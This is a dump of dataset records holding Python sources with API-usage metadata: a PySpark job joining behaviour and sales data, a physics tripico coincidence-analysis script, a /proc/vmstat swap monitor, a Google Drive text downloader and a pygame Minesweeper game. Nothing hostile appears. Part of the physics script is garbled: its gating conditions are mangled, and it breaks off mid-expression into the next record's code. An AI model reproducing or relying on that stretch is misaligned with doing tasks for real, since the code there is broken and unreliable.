"tensorflow.train.latest_checkpoint", "line_number": 358, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 358, "usage_type": "attribute"}, {"api_name": "tensorflow.ConfigProto", "line_number": 367, "usage_type": "call"}, {"api_name": "tensorflow.train.SingularMonitoredSession", "line_number": 369, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 369, "usage_type": "attribute"}, {"api_name": "logger.Logger", "line_number": 375, "usage_type": "call"}, {"api_name": "time.time", "line_number": 388, "usage_type": "call"}, {"api_name": "time.time", "line_number": 392, "usage_type": "call"}, {"api_name": "tensorflow.logging.info", "line_number": 405, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 405, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 419, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 419, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 420, "usage_type": "call"}, {"api_name": "viz.result_viz.log_sess_output", "line_number": 436, "usage_type": "call"}, {"api_name": "tensorflow.logging.info", "line_number": 446, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 446, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 455, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 455, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 456, "usage_type": "call"}, {"api_name": "os.path", "line_number": 456, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 456, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 458, "usage_type": "call"}, {"api_name": "os.path", "line_number": 458, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path", "line_number": 459, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 460, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 468, "usage_type": "call"}, {"api_name": "os.path", "line_number": 468, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 470, "usage_type": "call"}, {"api_name": "os.path", "line_number": 470, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 472, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 476, "usage_type": "attribute"}, {"api_name": "pipes.quote", "line_number": 476, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 481, "usage_type": "call"}, {"api_name": "os.path", "line_number": 481, "usage_type": "attribute"}, {"api_name": "params.dump_params", "line_number": 487, "usage_type": "call"}, {"api_name": "tensorflow.app.run", "line_number": 494, "usage_type": "call"}, {"api_name": "tensorflow.app", "line_number": 494, "usage_type": "attribute"}]} +{"seq_id": "4864730598", "text": "from datetime import timedelta\r\nfrom sys import argv\r\n\r\nfrom pyspark.sql import Window\r\nfrom pyspark.sql.functions import *\r\n\r\nfrom constants import *\r\nfrom default_args import DefaultArgs\r\nfrom utils import get_session, persisted\r\n\r\n\r\nclass Job(DefaultArgs):\r\n\r\n def __init__(self, environment, dt) -> None:\r\n super().__init__(environment, dt)\r\n self.spark = get_session()\r\n self.behavior_path = f's3a://raw-bucket/behaviors'\r\n self.dir_value = f's3a://staged-bucket/behavior/output/{self.dt}'\r\n\r\n def __amount_sales_path(self, customer):\r\n default_path = f's3a://curated-bucket/campaign_results'\r\n prefix_path = f'{self.dt}/events/{customer}'\r\n return '{}/{}/*.csv'.format(default_path, prefix_path)\r\n\r\n def __get_min_proc(self):\r\n return self.dt - timedelta(days=7)\r\n\r\n def runner(self):\r\n '''\r\n R:\r\n '''\r\n mutable_df = self.spark.read.format(\"org.apache.spark.sql.cassandra\") \\\r\n .options(table='consolidated_person', keyspace='sminer').load()\r\n\r\n for customer in CUSTOMERS:\r\n '''\r\n R: \r\n '''\r\n mutable_people = mutable_df.filter(col('customerid') == customer) \\\r\n .select('personid').distinct().collect()\r\n\r\n '''\r\n R:\r\n '''\r\n people_values = [s[0] for s in mutable_people]\r\n\r\n '''\r\n R:\r\n '''\r\n behavior_df = self.spark.read.parquet(self.behavior_path)\r\n\r\n '''\r\n R:\r\n '''\r\n between_min = self.__get_min_proc()\r\n\r\n '''\r\n R:\r\n '''\r\n behavior_df = behavior_df.where(col('date').between(str(between_min), str(self.dt)))\r\n\r\n '''\r\n R:\r\n '''\r\n behavior_df = behavior_df.withColumn('is_communication', when(col('personid').isin(people_values), True)) \\\r\n .filter(col('is_communication').isNotNull()).drop('is_communication')\r\n\r\n '''\r\n R:\r\n '''\r\n df_behavior_grpy = behavior_df.groupBy('CustomerId', 'PersonId').count()\r\n\r\n '''\r\n R:\r\n '''\r\n pre_sales = self.spark.read.csv(self.__amount_sales_path(customer), header=True,\r\n sep='\\t').filter(col('Type').isin(TYPES))\r\n\r\n '''\r\n R:\r\n '''\r\n ranking = Window.partitionBy('customerid', 'PersonId').orderBy('createdate')\r\n\r\n '''\r\n R:\r\n '''\r\n df_join_func = df_behavior_grpy.join(pre_sales, 'PersonId', 'outer')\\\r\n .withColumn('row_number_col', row_number().over(ranking)) \\\r\n .filter(col('row_number_col') == 1).drop('row_number_col')\r\n\r\n '''\r\n R:\r\n '''\r\n df_del = self.spark.read.csv(\r\n f's3a://staged/behavior/output/{self.dt - timedelta(days=1)}').withColumnRenamed('personid',\r\n 'personiddelta')\r\n\r\n '''\r\n R:\r\n '''\r\n df_dist_delta = df_join_func.join(df_del, ['customerid', 'personid'], 'left').filter(\r\n col('personiddelta').isNull())\r\n\r\n '''\r\n R:\r\n '''\r\n persisted(df_dist_delta, self.dir_value)\r\n\r\n\r\nif __name__ == '__main__':\r\n env = argv[1]\r\n date_proc = argv[2]\r\n job = Job(env, date_proc)\r\n job.runner()\r\n", "repo_name": "socialminer/data_understanding_test", "sub_path": "job.py", "file_name": "job.py", "file_ext": "py", "file_size_in_byte": 3581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "default_args.DefaultArgs", "line_number": 12, "usage_type": "name"}, {"api_name": "utils.get_session", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 26, "usage_type": "call"}, {"api_name": "pyspark.sql.Window.partitionBy", "line_number": 82, "usage_type": "call"}, {"api_name": "pyspark.sql.Window", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 95, "usage_type": "call"}, {"api_name": "utils.persisted", "line_number": 107, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 111, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 112, "usage_type": "name"}]} +{"seq_id": "30247075735", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 19 22:19:34 2019\n\n@author: Shashank\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom time import time\n#from sklearn.externals import joblib\nimport h5py\nfrom matplotlib.colors import LogNorm\nimport tkinter as tk\n\nimport sys\nsys.path.insert(0,'C:/Users/patha/OneDrive/Documents/GitHub/Double_VMI_coincidence_analysis/Analysis_3_body/Codes/')\nimport useful_definitions,optimise_parameters\nfrom useful_definitions import fhist1d,fhist2d,threeConditions\nfrom optimise_parameters import optimise_parameters\nplt.rcParams.update({'font.size': 16})\n\n\nt1=time()\n#Run_name='Propargyl_alcohol_140ev_60C'\n\nRun_name='TMS_220eV'\nchannel='CH2_C2H3_S'\nbasedir1='C:/Users/patha/OneDrive/Documents/GitHub/Double_VMI_coincidence_analysis/Analysis_3_body/'+Run_name+'/'+channel+'/'\nbasedir=basedir1+channel\nprocessed_dir=basedir1+'Processed/'\npath = basedir1+'Raw/'+Run_name+'_DAn.00000.bin'\nfilename = path\nprint(filename)\nf = open(filename)\n#Read file all at once\nprint('Reading file...')\nLineNum = 0\nDataFile = np.fromfile(f, dtype = 'int32', count = -1)\nf.close()\nTotalNumLines = DataFile.size\nprint('File read successfully!')\n\nmass_species = [14,27,32]\nlabel_species = ['CH$_2$$^+$','C$_2$H$_3$$^+$','S$^+$']\nionGate1 = [1400,1600]\nionGate2 = [2000,2300]\nionGate3 = [2350,2550]\n\n\nread_bin_file=True\n\n# Fit to get t0\ntof = [191,2733.66,1739.05,2239.94,4296.46]\ntestmq = [1.008,40,18.01,28,92.064]\nslp, t0 = np.polyfit(np.sqrt(testmq), np.array(tof), 1)\n\ntof_frag=np.add(slp*(np.sqrt(mass_species)),t0)\n\nmass_species = np.array(mass_species) * 1.66E-27\n\n\nif read_bin_file:\n LineNum=0\n ion1x=[]\n ion1y=[]\n ion2x=[]\n ion2y=[]\n ion3x=[]\n ion3y=[]\n ion1t=[]\n ion2t=[]\n ion3t=[]\n \n event_counter=0\n all_evt_counter=0\n while True:\n # if event_counter > 5000:\n # break\n #checks if end of file is reached\n if LineNum >= TotalNumLines:\n break\n \n #reading the hits in terms of x, y, tof\n numberOfHits = DataFile[LineNum]\n LineNum = LineNum +1\n # numberOfElectrons = ChunkData[LineNum]\n # LineNum = LineNum + 1\n ion = DataFile[LineNum:LineNum + numberOfHits * 3]\n if np.size(ion)<3: continue\n LineNum = LineNum + numberOfHits * 3\n #dividing by factor since thats how the numbers were saved in terms of int32\n ion = ion.reshape((numberOfHits, 3 )).T/1000\n ionX = ion[0]\n ionY = ion[1]\n ionTOF = ion[2]\n \n checkCondition = threeConditions(ionTOF, ionGate1, ionGate2, ionGate3)\n all_evt_counter=all_evt_counter+1\n if checkCondition.sum() == 3:\n \n ionTOF = ionTOF[checkCondition]\n ionX = ionX[checkCondition]\n ionY = ionY[checkCondition]\n \n # ionX[0] = ionX[0] - pos_offset_1[0]\n # ionX[1] = ionX[1] - pos_offset_2[0]\n # ionX[2] = ionX[2] - pos_offset_3[0]\n #\n # ionY[0] = ionY[0] - pos_offset_1[1]\n # ionY[1] = ionY[1] - pos_offset_2[1]\n # ionY[2] = ionY[2] - pos_offset_3[1]\n \n ion1x.append(ionX[0])\n ion1y.append(ionY[0])\n ion2x.append(ionX[1])\n ion2y.append(ionY[1])\n ion3x.append(ionX[2])\n ion3y.append(ionY[2])\n ion1t.append(ionTOF[0])\n ion2t.append(ionTOF[1])\n ion3t.append(ionTOF[2])\n \n event_counter=event_counter+1\n if event_counter%10000 == 0:\n print(event_counter)\n \n thbody_after_permutation=np.size(ion1x)\n print('Total events = %d'%all_evt_counter)\n print('Total 3 body events after permutation = %d'%thbody_after_permutation)\n t2=time()\n \n print(\"time for reading file and getting position and time arrays = %f sec\"%(t2-t1))\n \n ion1x=np.asarray(ion1x)\n ion2x=np.asarray(ion2x)\n ion3x=np.asarray(ion3x)\n ion1y=np.asarray(ion1y)\n ion2y=np.asarray(ion2y)\n ion3y=np.asarray(ion3y)\n ion1t=np.asarray(ion1t)\n ion2t=np.asarray(ion2t)\n ion3t=np.asarray(ion3t)\n \n \n \n with h5py.File(processed_dir+Run_name+'_raw_xyt.h5','w') as f:\n f.create_dataset('ion1x', data = ion1x, maxshape=(None), dtype='f4')\n f.create_dataset('ion2x', data = ion2x, maxshape=(None), dtype='f4')\n f.create_dataset('ion3x', data = ion3x, maxshape=(None), dtype='f4')\n f.create_dataset('ion1y', data = ion1y, maxshape=(None), dtype='f4')\n f.create_dataset('ion2y', data = ion2y, maxshape=(None), dtype='f4')\n f.create_dataset('ion3y', data = ion3y, maxshape=(None), dtype='f4')\n f.create_dataset('ion1t', data = ion1t, maxshape=(None), dtype='f4')\n f.create_dataset('ion2t', data = ion2t, maxshape=(None), dtype='f4')\n f.create_dataset('ion3t', data = ion3t, maxshape=(None), dtype='f4')\n f.close()\n\nif not read_bin_file:\n hf1=h5py.File(processed_dir+Run_name+'_raw_xyt.h5','r')\n ion1x=np.array(hf1['ion1x'])\n ion2x=np.array(hf1['ion2x'])\n ion3x=np.array(hf1['ion3x'])\n ion1y=np.array(hf1['ion1y'])\n ion2y=np.array(hf1['ion2y'])\n ion3y=np.array(hf1['ion3y'])\n ion1t=np.array(hf1['ion1t'])\n ion2t=np.array(hf1['ion2t'])\n ion3t=np.array(hf1['ion3t'])\n hf1.close()\n \nion23t=np.add(ion2t,ion3t)\ntrotplus23=np.add(ion23t,ion1t)\ntrotminus23=np.add(ion23t,-ion1t)\n\nion12t=np.add(ion1t,ion2t)\ntrotplus12=np.add(ion12t,ion3t)\ntrotminus12=np.add(ion12t,-ion3t)\n\n#%%\ncmap='jet'\n## Histograms before selecting tripico channel\nplot_det_images=True # plots detector image for first, second, third hit\nplot_all_tripico=True # plots gated, non-gated tripico\nplot_tof=True\n\n\ntof_x_range=[0,3000,1,-50,50,0.5]\n# Gates for subplot 1 (tof1 vs tof2+tof3)\nsp1_xmin=ionGate1[0]-100\nsp1_xmax=ionGate1[1]+100\nsp1_binsize=1\nsp1_ymin=ionGate2[0]+ionGate3[0]\nsp1_ymax=ionGate2[1]+ionGate3[1]\n\ntripico23_range=[sp1_xmin,sp1_xmax,sp1_binsize,sp1_ymin,sp1_ymax,sp1_binsize]\n\n# Gates for subplot 2 (tof2+tof3-tof1 vs tof2+tof3+tof1)\nsp2_xmin=sp1_ymin-sp1_xmin-200\nsp2_xmax=sp1_ymax-sp1_xmax+400\nsp2_binsize=1\nsp2_ymin=sp1_ymin+sp1_xmin-200\nsp2_ymax=sp1_ymax+sp1_xmax+400\n\ntripico23rot_range=[sp2_xmin,sp2_xmax,sp2_binsize,sp2_ymin,sp2_ymax,sp2_binsize]\n# Gates for subplot 1 (tof3 vs tof1+tof2)\nsp3_xmin=ionGate3[0]-200\nsp3_xmax=ionGate3[1]+200\nsp3_binsize=1\nsp3_ymin=ionGate1[0]+ionGate2[0]\nsp3_ymax=ionGate1[1]+ionGate2[1]\n\ntripico12_range=[sp3_xmin,sp3_xmax,sp3_binsize,sp3_ymin,sp3_ymax,sp3_binsize]\n# Gates for subplot 2 (tof1+tof2-tof3 vs tof1+tof2+tof3)\nsp4_xmin=sp3_ymin-sp3_xmin-400\nsp4_xmax=sp3_ymax-sp3_xmin+400\nsp4_binsize=1\nsp4_ymin=sp3_ymin+sp3_xmin-200\nsp4_ymax=sp3_ymax+sp3_xmin+400\ntripico12rot_range=[sp4_xmin,sp4_xmax,sp4_binsize,sp4_ymin,sp4_ymax,sp4_binsize]\n## Time\nif plot_all_tripico:\n ion1t=np.asarray(ion1t)\n ion2t=np.asarray(ion2t)\n ion3t=np.asarray(ion3t)\n ion23t=np.add(ion2t,ion3t)\n ion12t=np.add(ion1t,ion2t)\n tof_frag12=tof_frag[0]+tof_frag[1]\n tof_frag23=tof_frag[1]+tof_frag[2]\n \n fig = plt.figure(figsize=(18,4))\n ax = fig.add_subplot(121)\n x,y,z=fhist2d(ion1t,ion23t,sp1_xmin,sp1_xmax,sp1_binsize,sp1_ymin,sp1_ymax,sp1_binsize) #\" 2) Hardcoded -Needs to be changed\"\n f1=ax.pcolormesh(x,y,np.transpose(z),cmap=cmap,norm=LogNorm())\n ax.scatter(tof_frag[0], tof_frag23,marker='x',color='red',s=95)\n fig.colorbar(f1)\n ax.set_xlabel('TOF1 (ns)')\n ax.set_ylabel('TOF2+TOF3 (ns)')\n ax.set_title('Tripico23')\n\n tof_frag12plus=tof_frag12+tof_frag[2]\n tof_frag12minus=tof_frag12-tof_frag[2]\n tof_frag23plus=tof_frag23+tof_frag[0]\n tof_frag23minus=tof_frag23-tof_frag[0]\n ax = fig.add_subplot(122)\n x,y,z=fhist2d(trotminus23,trotplus23,sp2_xmin,sp2_xmax,sp2_binsize,sp2_ymin,sp2_ymax,sp2_binsize) #\" 3) Hardcoded -Needs to be changed\"\n f2=ax.pcolormesh(x,y,np.transpose(z),cmap=cmap,norm=LogNorm())\n ax.scatter(tof_frag23minus,tof_frag23plus,marker='x',color='red',s=95)\n fig.colorbar(f2)\n ax.set_xlabel('(TOF2+TOF3)-TOF1 (ns)')\n ax.set_ylabel('(TOF2+TOF3)+TOF1 (ns)')\n ax.set_title('Tripico23 rotated')\n plt.savefig(basedir+'tripico23_raw.png',bbox_inches='tight')\n\n fig = plt.figure(figsize=(18,4))\n ax = fig.add_subplot(121)\n x,y,z=fhist2d(ion3t,ion12t,sp3_xmin,sp3_xmax,sp3_binsize,sp3_ymin,sp3_ymax,sp3_binsize) #\" 2) Hardcoded -Needs to be changed\"\n f1=ax.pcolormesh(x,y,np.transpose(z),cmap=cmap,norm=LogNorm())\n ax.scatter(tof_frag[2], tof_frag12,marker='x',color='red',s=95)\n fig.colorbar(f1)\n ax.set_xlabel('TOF3 (ns)')\n ax.set_ylabel('TOF1+TOF2 (ns)')\n ax.set_title('Tripico12')\n\n ax = fig.add_subplot(122)\n x,y,z=fhist2d(trotminus12,trotplus12,sp4_xmin,sp4_xmax,sp4_binsize,sp4_ymin,sp4_ymax,sp4_binsize)\n f2=ax.pcolormesh(x,y,np.transpose(z),cmap=cmap,norm=LogNorm())\n ax.scatter(tof_frag12minus,tof_frag12plus,marker='x',color='red',s=95)\n fig.colorbar(f2)\n ax.set_xlabel('(TOF1+TOF2)-TOF3 (ns)')\n ax.set_ylabel('(TOF1+TOF2)+TOF3 (ns)')\n ax.set_title('Tripico12 rotated')\n plt.savefig(basedir+'tripico12_raw.png',bbox_inches='tight')\n ##Positions\nif plot_det_images:\n fig = plt.figure(figsize=(18,4))\n\n x,y,z=fhist2d(ion1x,ion1y,-50,50,0.5,-50,50,0.5)\n ax = fig.add_subplot(131)\n f1=ax.pcolormesh(x,y,z,norm=LogNorm(),cmap=cmap)\n fig.colorbar(f1)\n ax.set_title('All 1$^{st}$ hits')\n ax.set_aspect('equal')\n\n x,y,z=fhist2d(ion2x,ion2y,-50,50,0.5,-50,50,0.5)\n ax = fig.add_subplot(132)\n f2=ax.pcolormesh(x,y,z,norm=LogNorm(),cmap=cmap)\n fig.colorbar(f2)\n ax.set_title('All 2$^{nd}$ hits')\n ax.set_aspect('equal')\n\n x,y,z=fhist2d(ion3x,ion3y,-50,50,0.5,-50,50,0.5)\n ax = fig.add_subplot(133)\n f3=ax.pcolormesh(x,y,z,norm=LogNorm(),cmap=cmap)\n fig.colorbar(f3)\n ax.set_title('All 3$^{rd}$ hits')\n ax.set_aspect('equal')\n plt.savefig(basedir+'det_image_non_gated_v1.png',bbox_inches='tight')\n \nif plot_tof:\n fig,ax = plt.subplots(figsize=(18,4))\n x1,y1=fhist1d(ion1t,tof_x_range[0],tof_x_range[1],tof_x_range[2])\n x2,y2=fhist1d(ion2t,tof_x_range[0],tof_x_range[1],tof_x_range[2])\n x3,y3=fhist1d(ion3t,tof_x_range[0],tof_x_range[1],tof_x_range[2])\n ax.plot(x1,y1)\n ax.plot(x2,y2)\n ax.plot(x3,y3)\n ax.axvline(x=tof_frag[0],color='g',linestyle='--')\n ax.axvline(x=tof_frag[1],color='g',linestyle='--')\n ax.axvline(x=tof_frag[2],color='g',linestyle='--')\n val=np.max([y1,y2,y3])\n ax.text(tof_frag[0]+0.01*tof_frag[0],val-(0.05*val),label_species[0])\n ax.text(tof_frag[1]+0.01*tof_frag[1],val-(0.05*val),label_species[1])\n ax.text(tof_frag[2]++0.01*tof_frag[1],val-(0.05*val),label_species[2])\n ax.set_xlim(left=0)\n ax.set_ylim(bottom=0)\n ax.set_xlabel('TOF (ns)')\n plt.savefig(basedir+'tof_all.png',bbox_inches='tight')\n#%%\n# Selection of tripico channel\n\n#t123rotGate = [1306,1349,6165,6183]\nt123rotGate = [1210,1348,6103,6120] # Specify gating condition on tripico here\n\n\n# Specify which tripico plot you are gating on\nGate_on_tripico23=False\nGate_on_tripico12=True\nif Gate_on_tripico12:\n ## In addition to tripico gates you can also add ion position gates as shown below:\n condition=((trotminus12>t123rotGate[0]) & (trotminus12t123rotGate[2]) & (trotplus122159) & (ion2t<2233) & (ion1t>1470) & (ion1t<1530))\n\nif Gate_on_tripico23:\n condition=((trotminus23>t123rotGate[0]) & (trotminus23t123rotGate[2]) & (trotplus23 1:\n interval = int(sys.argv[-1])\n\n signal.signal(signal.SIGINT, sig_handler)\n\n last_run_time = None\n last_run_data = None\n totals = {}\n iterations = 0\n\n while not _done:\n if iterations % 40 == 0:\n print_header()\n iterations += 1\n data = {ALIASES.get(k, k): int(v) for k, v in\n [l.strip().split(' ', 1) for l in\n filter(lambda l: len(l.strip()) > 0 and\n (l.strip().split()[0] in KEYS or\n l.strip().split()[0] in ALIASES),\n open('/proc/vmstat').readlines())]}\n\n now = time.time()\n if last_run_data is not None:\n for k in data:\n if k not in totals:\n totals[k] = 0\n totals[k] += data[k] - last_run_data[k]\n rates = {k: (data[k] - last_run_data[k]) / (now - last_run_time)\n for k in data}\n print_ln([(rates[k] if k in rates else 'n/a', \n totals[k] if k in rates else 'n/a') for k in sorted(KEYS)])\n\n last_run_data = data\n last_run_time = now\n time.sleep(interval)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "repo_name": "gregbanks/kswapstat", "sub_path": "kswapstat.py", "file_name": "kswapstat.py", "file_ext": "py", "file_size_in_byte": 2963, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "signal.SIGINT", "line_number": 49, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 76, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 77, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 79, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 79, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 110, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "42872986158", "text": "import pathlib\n\nfrom googleapiclient.http import MediaIoBaseDownload\n\nfrom google_drive_utils import get_google_drive_service, list_files\n\n# Googleドライブ上のディレクトリ名\nGOOGLE_DRIVE_DIRECTORY_NAME = 'ipa2'\n\n\ndef main():\n service = get_google_drive_service()\n download(service, 'ap')\n download(service, 'koudo')\n\n\ndef download(service, issue_type):\n # https://docs.python.jp/3/library/pathlib.html\n directory = pathlib.Path(__file__).resolve().parent.joinpath('ocr').joinpath(f'{issue_type}')\n if not directory.exists():\n directory.mkdir(parents=True)\n\n drive_files = list_files(GOOGLE_DRIVE_DIRECTORY_NAME, service)\n for drive_file in drive_files['files']:\n file_name = pathlib.Path(f'{drive_file[\"name\"]}').stem + '.txt'\n if issue_type not in file_name:\n continue\n full_path = directory.joinpath(file_name)\n print(full_path)\n\n # https://developers.google.com/drive/v3/web/manage-downloads\n request = service.files().export_media(fileId=drive_file['id'],\n mimeType='text/plain')\n with open(full_path, mode='wb') as f:\n downloader = MediaIoBaseDownload(f, request)\n done = False\n while done is False:\n _, done = downloader.next_chunk()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "thinkAmi/ipa_issues_model_by_doc2vec", "sub_path": "google_drive_downloader.py", "file_name": "google_drive_downloader.py", "file_ext": "py", "file_size_in_byte": 1378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "google_drive_utils.get_google_drive_service", "line_number": 12, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "call"}, {"api_name": "google_drive_utils.list_files", "line_number": 23, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 25, "usage_type": "call"}, {"api_name": "googleapiclient.http.MediaIoBaseDownload", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "9373786613", "text": "import pygame\r\nfrom pygame.locals import *\r\nimport time\r\nfrom random import randrange\r\n\r\ndef grid(window, size, rows):\r\n distanceBtwRows = size // rows\r\n x = 0\r\n y = 0\r\n for i in range(rows):\r\n x += distanceBtwRows\r\n y += distanceBtwRows\r\n\r\n\r\n pygame.draw.line(window, (0,0,0), (0,x), (size,x))\r\n \r\n pygame.draw.line(window, (0,0,0), (y,0), (y,size))\r\n\r\ndef Text(window, display, pos):\r\n squareLeng = size // rows \r\n font = pygame.font.Font('freesansbold.ttf', 300//rows)\r\n text = font.render(str(display), True, (0,0,0), None)\r\n textRect = text.get_rect()\r\n textRect.center = (pos[0]*squareLeng+squareLeng*.5,pos[1]*squareLeng+squareLeng*.5)\r\n \r\n window.blit(text, textRect)\r\n\r\ndef Open(window):\r\n squareLeng = size // rows\r\n MousePos = pygame.mouse.get_pos()\r\n PosX = MousePos[0]//squareLeng\r\n PosY = MousePos[1]//squareLeng\r\n if Area[rows*(PosY)+(PosX)][2] != -1:\r\n floodFillUtil(window,Area[rows*(PosY)+(PosX)][0],Area[rows*(PosY)+(PosX)][1])\r\n \r\n elif Area[rows*(PosY)+(PosX)][2] == -1:\r\n squareLeng = size // rows\r\n for j in Mines: \r\n pygame.draw.rect(window, (255,0,0), pygame.Rect(j[0]*squareLeng,j[1]*squareLeng,squareLeng,squareLeng))\r\n play = False\r\n \r\n\r\ndef floodFillUtil(window,x,y):\r\n squareLeng = size // rows\r\n Coords = (y*rows)+x\r\n if (x < 0 or x >= rows or y < 0 or y >= rows or\r\n #Area[Coords][3] != 0 or\r\n #Area[Coords][3] != 1 or\r\n Area[Coords][3] == 2):\r\n return\r\n \r\n if (Area[Coords][3] == 1):\r\n color = (255 - (Area[rows*(y)+(x)][2]*30),255 - (Area[rows*(y)+(x)][2]*30),255 - (Area[rows*(y)+(x)][2]*30))\r\n pygame.draw.rect(window, color, pygame.Rect(x*squareLeng, y*squareLeng, squareLeng, squareLeng)) \r\n pos = Area[rows*(y)+(x)] \r\n Text(window, pos[2], pos)\r\n Area[(y*rows)+x][3] = 2\r\n return\r\n\r\n\r\n\r\n print(Area[(y*rows)+x])\r\n Area[(y*rows)+x][3] = 2\r\n color = (247,191,93)\r\n pygame.draw.rect(window, color, pygame.Rect(x*squareLeng, y*squareLeng, squareLeng, squareLeng))\r\n \r\n floodFillUtil(window,x + 1, y)\r\n floodFillUtil(window,x - 1, y)\r\n floodFillUtil(window,x, y + 1)\r\n floodFillUtil(window,x, y - 1)\r\n \r\ndef Check_0(window,Orig):\r\n print(\"a\")\r\n\r\ndef Mines_F(window, Mines):\r\n global Area\r\n Area = []\r\n for y in range(rows):\r\n for x in range(rows):\r\n Area.append([x,y,0,0,0])\r\n squareLeng = size // rows \r\n for j in Mines: \r\n #Area\r\n PosX = j[0]\r\n PosY = j[1]\r\n if PosY != rows: \r\n Area[rows*(PosY+1)+(PosX)][2] += 1 # Down \r\n Area[rows*(PosY+1)+(PosX)][3] = 1\r\n if PosX != rows:\r\n Area[rows*(PosY+1)+(PosX+1)][2] += 1 # Down Rigth\r\n Area[rows*(PosY+1)+(PosX+1)][3] = 1\r\n if PosX != 0: \r\n Area[rows*(PosY+1)+(PosX-1)][2] += 1 # Down Left\r\n Area[rows*(PosY+1)+(PosX-1)][3] = 1\r\n\r\n if PosY != 0: \r\n Area[rows*(PosY-1)+(PosX)][2] += 1 # Up \r\n Area[rows*(PosY-1)+(PosX)][3] = 1\r\n if PosX != rows:\r\n Area[rows*(PosY-1)+(PosX+1)][2] += 1 # Up Rigth\r\n Area[rows*(PosY-1)+(PosX+1)][3] = 1\r\n if PosX != 0:\r\n Area[rows*(PosY-1)+(PosX-1)][2] += 1 # Up Left\r\n Area[rows*(PosY-1)+(PosX-1)][3] = 1\r\n\r\n if PosX != rows:\r\n Area[rows*(PosY)+(PosX+1)][2] += 1 # Rigth\r\n Area[rows*(PosY)+(PosX+1)][3] = 1\r\n if PosX != 0:\r\n Area[rows*(PosY)+(PosX-1)][2] += 1 # Left \r\n Area[rows*(PosY)+(PosX-1)][3] = 1\r\n for j in Mines:\r\n Area[(j[1]*rows)+j[0]][2] = -1\r\n Area[(j[1]*rows)+j[0]][3] = 3\r\n \r\n\r\ndef flag(window, size, rows): \r\n squareLeng = size // rows\r\n MousePos = pygame.mouse.get_pos()\r\n x = MousePos[0]//squareLeng\r\n y = MousePos[1]//squareLeng \r\n if Area[rows*(y)+(x)][3] == 2:\r\n return\r\n if Area[rows*(y)+(x)][4] != 1:\r\n pygame.draw.rect(window, (255,0,255), pygame.Rect(x*squareLeng,y*squareLeng,squareLeng,squareLeng))\r\n Area[rows*(y)+(x)][4] = 1\r\n else:\r\n pygame.draw.rect(window, (0,150,0), pygame.Rect(x*squareLeng,y*squareLeng,squareLeng,squareLeng))\r\n Area[rows*(y)+(x)][4] = 0\r\ndef redraw(window):\r\n global size, rows \r\n event = pygame.event.wait()\r\n grid(window, size, rows)\r\n if event.type == pygame.MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[2] == True:\r\n flag(window, size, rows) \r\n if event.type == pygame.MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[0] == True:\r\n Open(window) \r\n pygame.display.update()\r\n\r\ndef main():\r\n\r\n global size, rows, Area, Mines, play\r\n size = 500\r\n rows = 20\r\n Mines = []\r\n newMine = [randrange(0,rows-1),randrange(0, rows-1)]\r\n Mines.append(newMine) \r\n for i in range(40):\r\n newMine = [randrange(0,rows-1),randrange(0, rows-1)] \r\n for j in Mines: \r\n while newMine == j: \r\n newMine = [randrange(0,rows-1),randrange(0, rows-1)] \r\n for i in Mines:\r\n if newMine == i:\r\n newMine = [randrange(0,rows-1),randrange(0, rows-1)] \r\n \r\n Mines.append(newMine) \r\n \r\n window = pygame.display.set_mode((size,size))\r\n\r\n \r\n window.fill((0,150,0)) \r\n Mines_F(window, Mines)\r\n\r\n play = True\r\n\r\n while play:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n exit()\r\n redraw(window)\r\npygame.init()\r\nmain()", "repo_name": "Danieloring10/Minesweeper", "sub_path": "Minesweeper.py", "file_name": "Minesweeper.py", "file_ext": "py", "file_size_in_byte": 5737, "program_lang": "python", "lang": "en", 